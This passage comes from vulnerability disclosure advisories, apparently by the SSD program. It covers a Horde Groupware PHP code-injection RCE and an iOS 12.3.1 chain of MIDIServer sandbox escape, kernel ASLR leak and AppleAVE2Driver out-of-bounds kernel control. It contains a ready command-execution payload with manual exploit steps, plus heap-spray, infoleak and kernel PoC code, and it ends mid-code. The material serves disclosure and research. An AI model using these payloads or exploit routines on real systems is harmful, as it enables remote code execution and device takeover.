Which causes a syntax error. (Note how the first string argument of str_replace now terminates at the first ‘ of the second instance of quote)
Using a simple payload that executes the id shell command and returns the output in the response:

).passthru("id").die();}//\

Where the evaluated body eventually is:

return str_replace('\).passthru(id).die();}//\', ').passthru(id).die();}//\', $a);

Here is an explanation of its parts:

  1. ) terminates str_replace
  2. The concatenation operator (.) continues the expression since the code starts with a return
  3. passthru("id") is an example of the actual payload to be executed
  4. die() is needed because create_function is used inside array_map thus if it can be called multiple times and it also aborts the rest of the page
  5. } terminates the block function (...) {...} used by the implementation of create_function, otherwise the following // would comment out } causing a syntax error
  6. // comments out the remaining invalid PHP code
  7. \ escapes the hard coded string as shown above.

Since some characters are treated specially, it may be convenient to encode the command to be executed with Base64, the payload will then become:

).passthru(base64_decode("aWQ=")).die();}//\

Proof of Concept
Among all the affected applications, Mnemo is probably one of the easiest to exploit as it does not require additional parameters that need to be scraped from the pages.

Manual Exploit
This vulnerability can be easily exploited manually by any registered user:

  1. Log into Horde
  2. Navigate to http://target.com/mnemo/data.php
  3. Select any non-empty file to import then click “Next”
  4. In the input field labeled by “What is the quote character?” write the payload, e.g ).passthru("id").die();}//\ and click “Next”
  5. The output of the command should be returned:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell Exploit
You can also write simple script to automate the steps above. Example scripts are available on our GitHub repository: SSD Horde Groupware Webmail Advisory GitHub Repository

SSD Advisory – iOS Jailbreak via Sandbox Escape and Kernel R/W leading to RCE

Introduction:
Each year, as part of TyphoonCon; our All Offensive Security Conference, we are offering cash prizes for vulnerabilities and exploitation techniques found. At our latest hacking competition: TyphoonPwn 2019, an independent Security Researcher demonstrated three vulnerabilities to our team which were followed by our live demonstration on stage. The Researcher was awarded an amazing sum of 60,000$ USD for his discovery!
TyphoonCon will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes.
Vulnerability Summary
This post describes a series of vulnerabilities found in iOS 12.3.1, which when chained together allows execution of code in the context of the kernel.
CVEs
CVE-2019-8797
CVE-2019-8795
CVE-2019-8794
Credit
An independent Security Researcher, 08Tc3wBB, has reported this vulnerability to SSD Secure Disclosure program during TyphoonPwn event and was awarded 60,000$ USD for his discovery.
Affected Systems
iOS 12.3.1
Vendor Response
Apple has fixed the vulnerabilities in iOS 13.2. For more information see HT210721 advisory.
Vulnerability Details
While the kernel has a large amount of userland-reachable functionality, much of this attack surface is not accessible due to sandboxing in iOS. By default, an app is only able to access about 10 drivers’ userclients, which is a relatively small amount of code. Therefore, first escaping the app sandbox can be highly beneficial in order to attack the kernel.

Escaping the Sandbox

In contrast to the kernel, many daemons running in userland are accessible via the default app sandbox. One such example is a daemon called MIDIServer (com.apple.midiserver). This daemon allows apps and other services to interface with MIDI hardware which may be connected to the device.
The MIDIServer binary itself is fairly simple. It is a stub binary, and all of it’s functionality is actually stored in a library which is part of the shared cache (CoreMIDI): the main() function of MIDIServer simply calls MIDIServerRun().
CoreMIDI then sets up two sandbox-accessible Mach services, com.apple.midiserver and com.apple.midiserver.io. The former is a typical MIG-based Mach server, which implements 47 methods (as of writing). com.apple.midiserver.io however, is a custom implementation, used for transferring IO buffers between clients and the server.
Here is the main run thread for the io Mach server:

__int64 MIDIIOThread::Run(MIDIIOThread *this, __int64 a2, __int64 a3, int *a4)
{
  x0 = XMachServer::CreateServerPort("com.apple.midiserver.io", 3, this + 140, a4);
  *(this + 36) = x0;
  if ( !*(this + 35) )
  {
    server_port = x0;
    *(this + 137) = 1;
    while ( 1 )
    {
      bufsz = 4;
      if ( XServerMachPort::ReceiveMessage(&server_port, &msg_cmd, &msg_buf, &bufsz) || msg_cmd == 3 )
        break;
      ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef(&v10, msg_buf);
      if ( v12 )
      {
        if ( msg_cmd == 1 )
        {
          ClientProcess::WriteDataAvailable(v12);
        }
        else if ( msg_cmd == 2 )
        {
          ClientProcess::EmptiedReadBuffer(v12);
        }
      }
      if ( v10 )
      {
        applesauce::experimental::sync::LockFreeHashTable<unsigned int,BaseOpaqueObject *,(applesauce::experimental::sync::LockFreeHashTableOptions)1>::Lookup::~Lookup(&v11);
        LOBYTE(v10) = 0;
      }
    }
    x0 = XServerMachPort::~XServerMachPort(&server_port);
  }
  return x0;
}

XServerMachPort::ReceiveMessage calls mach_msg with the MACH_RCV_MSG argument, waiting for messages on that port. The message contains a command ID and a length field, followed by the body of the message, which is parsed by the ReceiveMessage call. Three commands are available: command 1 will call ClientProcess::WriteDataAvailable, command 2 will call ClientProcess::EmptiedReadBuffer, and command 3 will exit the Mach server loop. The v12 object passed to the ClientProcess calls is found via ResolvedOpaqueRef. This method will take the 4-byte buffer provided in the message (the ID of the object) and perform a hashtable lookup, returning the object into a structure on the stack (the v12 variable denoted here lies within that structure).
The bug here is particularly nuanced, and lies within the ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef call.
The hashtable this method uses actually contains many different types of objects, not only those of the ClientProcess type. For example, objects created by the API methods MIDIExternalDeviceCreate and MIDIDeviceAddEntity are both stored in this hashtable.
Given the correct type checks are in-place, this would be no issue. However, there are actually two possible ways of accessing this hashtable:

BaseOpaqueObject::ResolveOpaqueRef
ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef

The former, used for example in the _MIDIDeviceAddEntity method, contains the proper type checks:

midi_device = BaseOpaqueObject::ResolveOpaqueRef(&TOpaqueRTTI<MIDIDevice>::sRTTI, device_id);

The latter method, however, does not. This means that by providing the ID of an object of a different type, you can cause a type confusion in one of the ClientProcess calls, where the method is expecting an object of type ClientProcess *.
Let’s follow the call trace for the EmptiedReadBuffer call:

; __int64 MIDIIOThread::Run(MIDIIOThread *this)
__ZN12MIDIIOThread3RunEv
[...]
BL              __ZN13ClientProcess17EmptiedReadBufferEv ; ClientProcess::EmptiedReadBuffer(x0) // `x0` is potentially type confused
; __int64 ClientProcess::EmptiedReadBuffer(ClientProcess *this)
__ZN13ClientProcess17EmptiedReadBufferEv
                STP             X20, X19, [SP,#-0x10+var_10]!
                STP             X29, X30, [SP,#0x10+var_s0]
                ADD             X29, SP, #0x10
                MOV             X19, X0
                ADD             X0, X0, #0x20 ; this
                BL              __ZN22MIDIIORingBufferWriter19EmptySecondaryQueueEv ; MIDIIORingBufferWriter::EmptySecondaryQueue(x0)
; bool MIDIIORingBufferWriter::EmptySecondaryQueue(MIDIIORingBufferWriter *this)
__ZN22MIDIIORingBufferWriter19EmptySecondaryQueueEv
                STP             X28, X27, [SP,#-0x10+var_50]!
                STP             X26, X25, [SP,#0x50+var_40]
                STP             X24, X23, [SP,#0x50+var_30]
                STP             X22, X21, [SP,#0x50+var_20]
                STP             X20, X19, [SP,#0x50+var_10]
                STP             X29, X30, [SP,#0x50+var_s0]
                ADD             X29, SP, #0x50
                MOV             X21, X0
                MOV             X19, X0 ; x19 = (MIDIIORingBufferWritter *)this
                LDR             X8, [X19,#0x58]!
                LDR             X8, [X8,#0x10]
                MOV             X0, X19
                BLR             X8

As you can see here, the EmptiedReadBuffer code path will effectively immediately dereference a couple of pointers within the type-confused object and branch to an address which can be attacker controlled. The call looks something like this: obj->0x78->0x10(obj->0x20).

Exploitation

In order to exploit this bug we can confuse the ClientProcess type with a MIDIEntity instance. MIDIEntity is of size 0x78, which makes it a perfect target as it means the first dereference that is performed on the object (at 0x78) will be in out of bounds memory. You could then align some controlled data after the MIDIEntity object, however because we are in userland there is a better way.
The MIDIObjectSetDataProperty API call will unserialize CoreFoundation objects into MIDIServer’s heap, so using this call we can spray CFData objects of size 0x90. The exploit then sends two Mach messages containing an OOL memory descriptor, mapped at the static address 0x29f000000 (for some reason it is required to send the message twice, else the memory will not be mapped; I am not sure on the cause of this). This memory is a large continuous CoW mapping which contains the ROP chain used later in exploitation, and importantly a function pointer located at the 0x10 offset to be dereferenced by the EmptySecondaryQueue code.
The following code sets up the CFData objects which are sprayed into MIDIServer’s heap:

  Prepare_bunch_keys(); // For iterating
  size_t spraybufsize = 0x90;
  void *spraybuf = malloc(spraybufsize);
  for(int i=0; i<spraybufsize; i+=0x8){
      *(uint64_t*)(spraybuf + i) = SPRAY_ADDRESS; // The 0x29f000000 address
  }
  CFDataRef spraydata = CFDataCreate(kCFAllocatorDefault, spraybuf, spraybufsize);

And the heap is crafted here:

  // OSStatus MIDIClientCreate(CFStringRef name, MIDINotifyProc notifyProc, void *notifyRefCon, MIDIClientRef *outClient);
  uint32_t mclient_id = 0;
  MIDIClientCreate(CFSTR(""), useless_notify, NULL, &mclient_id);
  printf("MIDI Client ID: 0x%x\n", mclient_id);
  // OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);
  uint32_t mdevice_id = 0;
  MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &mdevice_id);
  printf("MIDI Device ID: 0x%x\n", mdevice_id);
  // OSStatus MIDIObjectSetDataProperty(MIDIObjectRef obj, CFStringRef propertyID, CFDataRef data);
  for (int i = 0; i < 300; i++)
  {
      MIDIObjectSetDataProperty(mdevice_id, bunchkeys[i], spraydata); // Each call will unserialize one CFData object of size 0x90
  }
  // Sends 1 OOL descriptor each with the spray memory mapping
  Send_spray_mem();
  Send_spray_mem();
  // OSStatus MIDIObjectRemoveProperty(MIDIObjectRef obj, CFStringRef propertyID);
  // Removes every other property we just added
  for (int i = 0; i < 300; i = i + 2)
  {
      MIDIObjectRemoveProperty(mdevice_id, bunchkeys[i]); // Free's the CFData object, popping holes on the heap
  }

At this point we now have 150 CFData allocations and 150 free’d holes of size 0x90, all containing the SPRAY_ADDRESS pointer. The next step is to fill one of these holes with a MIDIEntity object:

  uint32_t mentity_id = 0;
  MIDIDeviceAddEntity(mdevice_id, CFSTR(""), false, 0, 0, &mentity_id);
  printf("mentity_id = 0x%x\n", mentity_id);

If all has gone to plan, we should now have a chunk of memory on the heap where the first 0x78 bytes are filled with the valid MIDIEntity object, and the remaining 0x18 bytes are filled with SPRAY_ADDRESS pointers.
In order to trigger the bug we can call to the com.apple.midiserver.io Mach server, with the ID of our target MIDIEntity object (mentity_id):

  // Sends msgh_id 0 with cmd 2 and datalen 4 (ClientProcess::EmptiedReadBuffer)
  Init_triggerExp_msg(mentity_id);
  Send_triggerExp_msg();

This will kick off the ROP chain on the Mach server thread in the MIDIServer process.
A simple failure check is then used, based on whether the ID of a new object is continuous to the object ID’s seen before triggering the bug:

  // OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);
  uint32_t verifysucc_mdevice_id = 0;
  MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &verifysucc_mdevice_id);
  printf("verify_mdevice_id: 0x%x\n", verifysucc_mdevice_id);
  if (verifysucc_mdevice_id == mdevice_id + 2)
  {
      break;
  }
  // We failed, reattempting...
  printf("Try again\n");
  MIDIRestart();

If the object ID’s are not continuous, it means exploitation failed (ie. the daemon crashed), so the daemon is restarted via the MIDIRestart call and exploitation can be re-attempted.
I won’t cover in detail how the ROP chain works, however the basic idea is to call objc_release on a buffer within the SPRAY_ADDRESS memory mapping, with a fake Objective-C object crafted at this address, on which the release method will be executed. A chain-calling primitive is then set up, with the target goal of opening 3 userclients, and hanging in a mach_msg_receive call to later overwrite some memory via vm_read_overwrite when a message is received — this is utilized later in kernel exploitation.
It is to note that for this ROP-based exploitation methodology a PAC bypass would be required on A12 and newer processors (or ideally, a different exploitation methodology).
The userclients fetched from MIDIServer are AppleSPUProfileDriver, IOSurfaceRoot, and AppleAVE2Driver.

(Ab)using AppleSPUProfileDriver: Kernel ASLR Defeat

Via MIDIServer we are able to access the AppleSPUProfileDriver userclient. This userclient implements 12 methods, however we are only interested in the last: AppleSPUProfileDriverUserClient::extSignalBreak. Let’s take a look at the pseudocode to get a rough idea of what’s happening:

__int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)
{
  __int64 dataQueueLock; // x19
  unsigned __int64 v8; // x0
  __int64 result; // x0
  int v10; // [xsp+8h] [xbp-48h]
  int v11; // [xsp+Ch] [xbp-44h]
  __int64 v12; // [xsp+10h] [xbp-40h]
  __int64 v13; // [xsp+38h] [xbp-18h]
  dataQueueLock = this->dataQueueLock;
  IORecursiveLockLock(this->dataQueueLock);
  if ( this->dataQueue )
  {
    v10 = 0;
    abs_time = mach_absolute_time();
    v12 = AppleSPUProfileDriver::absolutetime_to_sputime(this, abs_time);
    v11 = OSIncrementAtomic(&this->atomicCount);
    (*(*this->dataQueue + 0x88∂LL))();           // IOSharedDataQueue::enqueue(&v10, 0x30)
  }
  result = IORecursiveLockUnlock(dataQueueLock);
  return result;
}

The function is fairly simple: it will take a lock, write some data to a buffer stored on the stack, and call IOSharedDataQueue::enqueue to submit that data to the queue, with a buffer size of 0x30. The way the stack is accessed here is not particularly clear, so let us instead look at the relevant parts of the disassembly:

; __int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)
__ZN21AppleSPUProfileDriver16signalBreakGatedEv
var_48          = -0x48
var_44          = -0x44
var_40          = -0x40
var_18          = -0x18
var_10          = -0x10
var_s0          =  0
                PACIBSP
                SUB             SP, SP, #0x60
                STP             X20, X19, [SP,#0x50+var_10]
                STP             X29, X30, [SP,#0x50+var_s0]
                ADD             X29, SP, #0x50
                MOV             X20, X0
                ADRP            X8, #___stack_chk_guard@PAGE
                NOP
                LDR             X8, [X8,#___stack_chk_guard@PAGEOFF]
                STUR            X8, [X29,#var_18]
                LDR             X19, [X0,#0x30B8]
                MOV             X0, X19
                BL              _IORecursiveLockLock
                LDR             X8, [X20,#0x90]
                CBZ             X8, branch_exit_stub
                STR             WZR, [SP,#0x50+var_48]
                BL              _mach_absolute_time
                MOV             X1, X0  ; unsigned __int64
                MOV             X0, X20 ; this
                BL              __ZN21AppleSPUProfileDriver23absolutetime_to_sputimeEy ; AppleSPUProfileDriver::absolutetime_to_sputime(ulong long)
                STR             X0, [SP,#0x50+var_40]
                MOV             W8, #0x30CC
                ADD             X0, X20, X8
                BL              _OSIncrementAtomic
                STR             W0, [SP,#0x50+var_44]
                LDR             X0, [X20,#0x90]
                LDR             X8, [X0]
                LDRAA           X9, [X8,#0x90]!
                MOVK            X8, #0x911C,LSL#48
                ADD             X1, SP, #0x50+var_48
                MOV             W2, #0x30
                BLRAA           X9, X8                        // Call to IOSharedDataQueue::enqueue
branch_exit_stub                    ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+38
                MOV             X0, X19 ; lock
                BL              _IORecursiveLockUnlock
                LDUR            X8, [X29,#var_18]
                ADRP            X9, #___stack_chk_guard@PAGE
                NOP
                LDR             X9, [X9,#___stack_chk_guard@PAGEOFF]
                CMP             X9, X8
                B.NE            branch_stack_chk_fail
                MOV             W0, #0
                LDP             X29, X30, [SP,#0x50+var_s0]
                LDP             X20, X19, [SP,#0x50+var_10]
                ADD             SP, SP, #0x60
                RETAB
; ---------------------------------------------------------------------------
branch_stack_chk_fail                    ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+9C
                BL              ___stack_chk_fail

We can see here that the 32-bit value zero is stored to var_48, the result of the OSIncrementAtomic call is stored to var_44, and the absolutetime_to_sputime return value is stored to var_40. However, remember that the size 0x30 is provided to the IOSharedDataQueue::enqueue call? This means that any uninitialized stack data will be leaked into the shared dataqueue! So while this dataqueue may contain leaked data, there are no security implications unless we are able to access this data. However, IOSharedDataQueue’s are signed to be exactly that — shared. Let’s take a look at AppleSPUProfileDriverUserClient::clientMemoryForType:

__int64 AppleSPUProfileDriverUserClient::clientMemoryForType(AppleSPUProfileDriverUserClient *this, int type, unsigned int *options, IOMemoryDescriptor **memory)
{
  [...]
  ret = 0xE00002C2LL;
  if ( !type )
  {
    memDesc = AppleSPUProfileDriver::copyBuffer(this->provider);
    *memory = memDesc;
    if ( memDesc )
      ret = 0LL;
    else
      ret = 0xE00002D8LL;
  }
  return ret;
}
__int64 AppleSPUProfileDriver::copyBuffer(AppleSPUProfileDriver *this)
{
  [...]
  dataQueueLock = this->dataQueueLock;
  IORecursiveLockLock(this->dataQueueLock);
  memDesc = this->queueMemDesc;
  if ( memDesc )
  {
    (*(*memDesc + 0x20LL))();                   // OSObject::retain
    buf = this->queueMemDesc;
  }
  else
  {
    buf = 0LL;
  }
  IORecursiveLockUnlock(dataQueueLock);
  return buf;
}

So via IOConnectMapMemory64 we can map in the memory descriptor for this IOSharedDataQueue, which contains any data enqueue’d to it, including our leaked stack data! To finalize our understanding of this bug, let’s look at an example of leaked data from the queue:

30 00 00 00
00 00 00 00 78 00 00 80
c0 5a 0c 03 00 00 00 00
00 f0 42 00 e0 ff ff ff
50 b4 d8 3b e0 ff ff ff
80 43 03 11 f0 ff ff ff
00 00 00 00 00 00 00 00

The first dword you can see is the size field of the IODataQueueEntry struct (0x30 in this case), which precedes every chunk of data in the queue:

typedef struct _IODataQueueEntry{
    UInt32  size;
    UInt8   data[4];
} IODataQueueEntry;

Then we see the dword which is explicitly written to zero, the return value of the OSIncrementAtomic call (0x78), and the absolutetime_to_sputime value in the 3rd row. This data is then followed by 3 kernel pointers which are leaked off the stack. Specifically, we are interested in the 3rd pointer (0xfffffff011034380). From my testing (iPhone 8, iOS 12.4), this will always point into kernel’s __TEXT region, so by calculating the unslid pointer we are able to deduce the kernel’s slide. The full exploit for this infoleak can be seen below (some global variable definitions may be missing):

uint64_t check_memmap_for_kaslr(io_connect_t ioconn)
{
    kern_return_t ret;
    mach_vm_address_t map_addr = 0;
    mach_vm_size_t map_size = 0;
    ret = IOConnectMapMemory64(ioconn, 0, mach_task_self(), &map_addr, &map_size, kIOMapAnywhere);
    if (ret != KERN_SUCCESS)
    {
        printf("IOConnectMapMemory64 failed: %x %s\n", ret, mach_error_string(ret));
        return 0x0;
    }
    uint32_t search_val = 0xfffffff0; // Constant value of Kernel code segment higher 32bit addr
    uint64_t start_addr = map_addr;
    size_t search_size = map_size;
    while ((start_addr = (uint64_t)memmem((const void *)start_addr, search_size, &search_val, sizeof(search_val))))
    {
        uint64_t tmpcalc = *(uint64_t *)(start_addr - 4) - INFOLEAK_ADDR;
        // kaslr offset always be 0x1000 aligned
        if ((tmpcalc & 0xFFF) == 0x0)
        {
            return tmpcalc;
        }
        start_addr += sizeof(search_val);
        search_size = (uint64_t)map_addr + search_size - start_addr;
    }
    return 0x0;
}
mach_vm_offset_t get_kaslr(io_connect_t ioconn)
{
    uint64_t scalarInput = 1;
    // Allocte a new IOSharedDataQueue
    // AppleSPUProfileDriverUserClient::extSetEnabledMethod
    IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
    int kaslr_iter = 0;
    while (!kaslr)
    {
        // AppleSPUProfileDriverUserClient::extSignalBreak
        // Enqueues a data item of size 0x30, leaking 0x18 bytes off the stack
        IOConnectCallStructMethod(ioconn, 11, NULL, 0, NULL, NULL);
        // Map the IOSharedDataQueue and look for the leaked ptr
        kaslr = check_memmap_for_kaslr(ioconn);
        if (kaslr_iter++ % 5 == 0)
        {
            scalarInput = 0;
            // AppleSPUProfileDriverUserClient::extSetEnabledMethod
            IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
            scalarInput = 1;
            // AppleSPUProfileDriverUserClient::extSetEnabledMethod
            IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
        }
    }
    scalarInput = 0;
    // AppleSPUProfileDriverUserClient::extSetEnabledMethod
    IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL); // Shutdown
    return kaslr;
}
Going for Gold: Attacking the Kernel

The final vulnerability in this chain is a missing bounds check in AppleAVE2Driver. AppleAVE2 is a graphics driver in iOS, and in our case is accessible via the MIDIServer sandbox escape. The userclient exposes 24 methods, and this bug exists within the method at index 7; _SetSessionSettings. This method takes an input buffer of size 0x108, and loads many IOSurfaces from ID’s provided in the input buffer via the AppleAVE2Driver::GetIOSurfaceFromCSID method, before finally calling AppleAVE2Driver::Enqueue. Specifically, the method will load a surface by the name of InitInfoSurfaceId or InitInfoBufferr:

  if ( !structIn->InitInfoSurfaceId )
  {
    goto err;
  }
  [...]
  initInfoSurfaceId = structIn->InitInfoSurfaceId;
  if ( initInfoSurfaceId )
  {
    initInfoBuffer = AppleAVE2Driver::GetIOSurfaceFromCSID(this->provider, initInfoSurfaceId, this->task);
    this->InitInfoBuffer = initInfoBuffer;
    if ( initInfoBuffer )
      goto LABEL_13;
    goto err;
  }

The AppleAVE2Driver::Enqueue method will then create an IOSurfaceBufferMngr instance on this IOSurface:

  bufferMgr = operator new(0x70uLL);
  if ( !IOSurfaceBufferMngr::IOSurfaceBufferMngr(bufferMgr, 0LL, this) )
  {
    goto LABEL_23;
  }
  if ( IOSurfaceBufferMngr::CreateBufferFromIOSurface(
         bufferMgr,
         service->InitInfoBuffer,
         this->iosurfaceRoot,
         *&this->gap8[128],
         *&this->gap8[136],
         1,
         0,
         0,
         0,
         0,
         *&this->gap101[39],
         "InitInfo",
         this->gap3AF[49],
         0x1F4u) )
  {
    err = 0xE00002BDLL;
    v28 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(bufferMgr);
    operator delete(v28);
    return err;
  }
  if ( bufferMgr->size < 0x25DD0 )
  {
    err = 0xE00002BCLL;
    goto LABEL_27;
  }
  buffMgrKernAddr = bufferMgr->kernelAddress;
  if ( !buffMgrKernAddr )
  {
    goto LABEL_20;
  }

Bearing in mind the data within this buffer (now mapped at buffMgrKernAddr) is userland-controlled, the method will proceed to copy large chunks of data out of the buffer into an AVEClient * object, which I have named currentClient:

  currentClient->unsigned2400 = *(buffMgrKernAddr + 2008);
  memmove(&currentClient->unsigned2404, buffMgrKernAddr + 2012, 0x2BE4LL);
  currentClient->oword5018 = *(buffMgrKernAddr + 13296);
  currentClient->oword5008 = *(buffMgrKernAddr + 13280);
  currentClient->oword4FF8 = *(buffMgrKernAddr + 13264);
  currentClient->oword4FE8 = *(buffMgrKernAddr + 13248);
  currentClient->oword5058 = *(buffMgrKernAddr + 13360);
  currentClient->memoryInfoCnt2 = *(buffMgrKernAddr + 0x3420);
  currentClient->oword5038 = *(buffMgrKernAddr + 13328);
  currentClient->oword5028 = *(buffMgrKernAddr + 13312);
  currentClient->oword5098 = *(buffMgrKernAddr + 13424);
  currentClient->oword5088 = *(buffMgrKernAddr + 13408);
  currentClient->oword5078 = *(buffMgrKernAddr + 13392);
  currentClient->oword5068 = *(buffMgrKernAddr + 13376);
  currentClient->oword50C8 = *(buffMgrKernAddr + 13472);
  currentClient->oword50B8 = *(buffMgrKernAddr + 13456);
  currentClient->oword50A8 = *(buffMgrKernAddr + 13440);
  currentClient->qword50D8 = *(buffMgrKernAddr + 13488);
  memmove(&currentClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);
  memmove(&currentClient->gap1C8C[0x5CC], buffMgrKernAddr + 1584, 0x1A8LL);

When closing an AppleAVE2Driver userclient via AppleAVE2DriverUserClient::_my_close, the code will call a function named AppleAVE2Driver::AVE_DestroyContext on the AVEClient object associated with that userclient. AVE_DestroyContext calls AppleAVE2Driver::DeleteMemoryInfo on many MEMORY_INFO structures located within the AVEClient, and as the penultimate step calls this function on an array of MEMORY_INFO structures in the client, the quantity of which is denoted by the memoryInfoCnt{1,2} fields:

  v73 = currentClient->memoryInfoCnt1 + 2;
  if ( v73 <= currentClient->memoryInfoCnt2 )
    v73 = currentClient->memoryInfoCnt2;
  if ( v73 )
  {
    iter1 = 0LL;
    statsMapBufArr = currentClient->statsMapBufferArray;
    do
    {
      AppleAVE2Driver::DeleteMemoryInfo(this, statsMapBufArr);
      ++iter1;
      loopMax = currentClient->memoryInfoCnt1 + 2;
      cnt2 = currentClient->memoryInfoCnt2;
      if ( loopMax <= cnt2 )
        loopMax = cnt2;
      else
        loopMax = loopMax;
      statsMapBufArr += 0x28LL;
    }
    while ( iter1 < loopMax );
  }

In _SetSessionSettings, there are bounds checks on the value of memoryInfoCnt1:

  if ( currentClient->memoryInfoCnt1 >= 4u )
  {
    ret = 0xE00002BCLL;
    return ret;
  }

However no such bounds checks on the value of memoryInfoCnt2. This missing check, combined with the following piece of logic in the while loop, means that the loop will access and call DeleteMemoryInfo on out-of-bounds data, provided a high enough value is provided as memoryInfoCnt2:

  loopMax = currentClient->memoryInfoCnt1 + 2;  // Take memoryInfoCnt1 (max 4), loopMax is <=6
  cnt2 = currentClient->memoryInfoCnt2;         // Take memoyInfoCnt2
  if ( loopMax <= cnt2 )                        // if cnt2 is larger than loopMax...
    loopMax = cnt2;                             // update loopMax to the value of memoryInfoCnt2
  else
    loopMax = loopMax;                          // else, no change

By default, there are 5 MEMORY_INFO structures within the statsMapBufferArray. With each entry being of size 0x28, the array consumes 0xc8 (dec: 200) bytes. Becuase this array is inlined within the AVEClient * object, when we trigger the out-of-bounds bug the next DeleteMemoryInfo call will use whatever data may follow the statsMapBufferArray. On my iPhone 8’s 12.4 kernel, this array lies at offset 0x1b60, meaning the 6th entry (the first out-of-bounds entry) will be at offset 0x1c28.
Now, remember how in _SetSessionSettings large chunks of data are copied from a user-controlled buffer into the AVEClient object? It just so happens that one of these controlled buffers lies directly after the statsMapBufferArray field!

  00000000 AVEClient       struc ; (sizeof=0x29AC8, align=0x8, mappedto_215)
  [...]
  00001B60 statsMapBufferArray DCB 200 dup(?)
  00001C28 sessionSettings_block1 DCB ?
  [...]
  // Copies from the IOSurface buffer to a buffer adjacent to the statsMapBufferArray
  memmove(&currentClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);

So by providing crafted data in the IOSurface buffer copied into the AVEClient, we can have full control over the out-of-bounds array entries.

Taking (PC) Control

Now let’s look at the AppleAVE2Driver::DeleteMemoryInfo function itself, bearing in mind we have full control over the memInfo object:

__int64 AppleAVE2Driver::DeleteMemoryInfo(AppleAVE2Driver *this, IOSurfaceBufferMngr **memInfo)
{
  [...]
  if ( memInfo )
  {
    if ( *memInfo )
    {
      v8 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(*memInfo);
      operator delete(v8);
    }
    memset(memInfo, 0, 0x28uLL);
    result = 0LL;
  }
  else
  {
    result = 0xE00002BCLL;
  }
  return result;
}

The IOSurfaceBufferMngr destructor wraps directly around a static IOSurfaceBufferMngr::RemoveBuffer call:

IOSurfaceBufferMngr *IOSurfaceBufferMngr::~IOSurfaceBufferMngr(IOSurfaceBufferMngr *this)
{
  IOSurfaceBufferMngr::RemoveBuffer(this);
  return this;
}

RemoveBuffer then calls IOSurfaceBufferMngr::CompleteFence, which in this case is best viewed as assembly:

IOSurfaceBufferMngr::CompleteFence(IOSurfaceBufferMngr *this)
                STP             X20, X19, [SP,#-0x10+var_10]!
                STP             X29, X30, [SP,#0x10+var_s0]
                ADD             X29, SP, #0x10
                MOV             X19, X0                         // x19 = x0 (controlled pointer)
                LDR             X0, [X0,#0x58]                  // Loads x0->0x58
                CBZ             X0, exit_stub                   // Exits if the value is zero
                LDRB            W8, [X19,#0x1E]                 // Loads some byte at x19->0x1e
                CBNZ            W8, exit_stub                   // Exits if the byte is non-zero
                MOV             W1, #0
                BL              IOFence::complete
                LDR             X0, [X19,#0x58]                 // Loads x19->0x58
                LDR             X8, [X0]                        // Loads x0->0x0
                LDR             X8, [X8,#0x28]                  // Loads function pointer x8->0x28
                BLR             X8                              // Branches to fptr, giving arbitrary PC control
                STR             XZR, [X19,#0x58]
exit_stub
                LDP             X29, X30, [SP,#0x10+var_s0]
                LDP             X20, X19, [SP+0x10+var_10],#0x20
                RET

In essence, by crafting a userland-shared buffer you can trigger an out-of-bounds access, which will almost directly give arbitrary PC control upon closing the userclient.
Here’s a PoC for this bug, it will panic the device with a dereference to the address 0x4141414142424242:

void kernel_bug_poc(io_connect_t ioconn, io_connect_t surface_ioconn)
{
    kern_return_t ret;
    {
        char open_inputStruct[0x8] = { 0 };
        char open_outputStruct[0x4] = { 0 };
        size_t open_outputStruct_size = sizeof(open_outputStruct);
        // AppleAVE2UserClient::_my_open
        ret = IOConnectCallStructMethod(ioconn,
                                        0,
                                        open_inputStruct,
                                        sizeof(open_inputStruct),
                                        open_outputStruct,
                                        &open_outputStruct_size);
        NSLog(@"my_open: %x %s", ret, mach_error_string(ret));
    }
    // Create an IOSurface using the IOSurface client owned by MIDIServer
    // Address & size of the shared mapping created by IOSurface and
    // returned in the output struct at offsets 0x0 and 0x1c respectively
    uint64_t surface_map_addr = 0x0;
    uint32_t surface_map_size = 0x0;
    uint32_t surface_id = IOSurfaceRootUserClient_CreateSurface(surface_ioconn, &surface_map_addr, &surface_map_size);
    NSLog(@"Got Surface ID: %d", surface_id);
    uintptr_t surface_data = malloc(surface_map_size);
    bzero((void *)surface_data, surface_map_size);
    *(uint64_t *)(surface_data + 0x0) = 0x4141414142424242;     // First pointer to memory containing function pointer
                                                                // This field is the start of the block adjacent to the stats array
    *(uint32_t *)(surface_data + 0x3420) = 6;                   // `memoryInfoCnt2` field, gives 1 OOB access
    // Sends the data to MIDIServer to be written onto the IOSurface
    // The MIDIServer ROP chain hangs on the following call:
    // vm_read_overwrite(ourtask, clientbuf, surface1_map_size, surface1_map_addr, ...)
    send_overwriting_iosurface_map(surface_data, surface_map_size, surface_map_addr);
    // Waits for a message back from MIDIServer, sent by the ROP chain
    // Notifies us that the vm_read_overwrite call completed
    reply_notify_completion();
    free(surface_data);
    {
        // Write the OOB count value to the `currentClient` object, and write our adjacent data
        char setSessionSettings_inputStruct[0x108] = { 0 };
        char setSessionSettings_outputStruct[0x4] = { 0 };
        size_t setSessionSettings_outputStruct_size = sizeof(setSessionSettings_outputStruct);
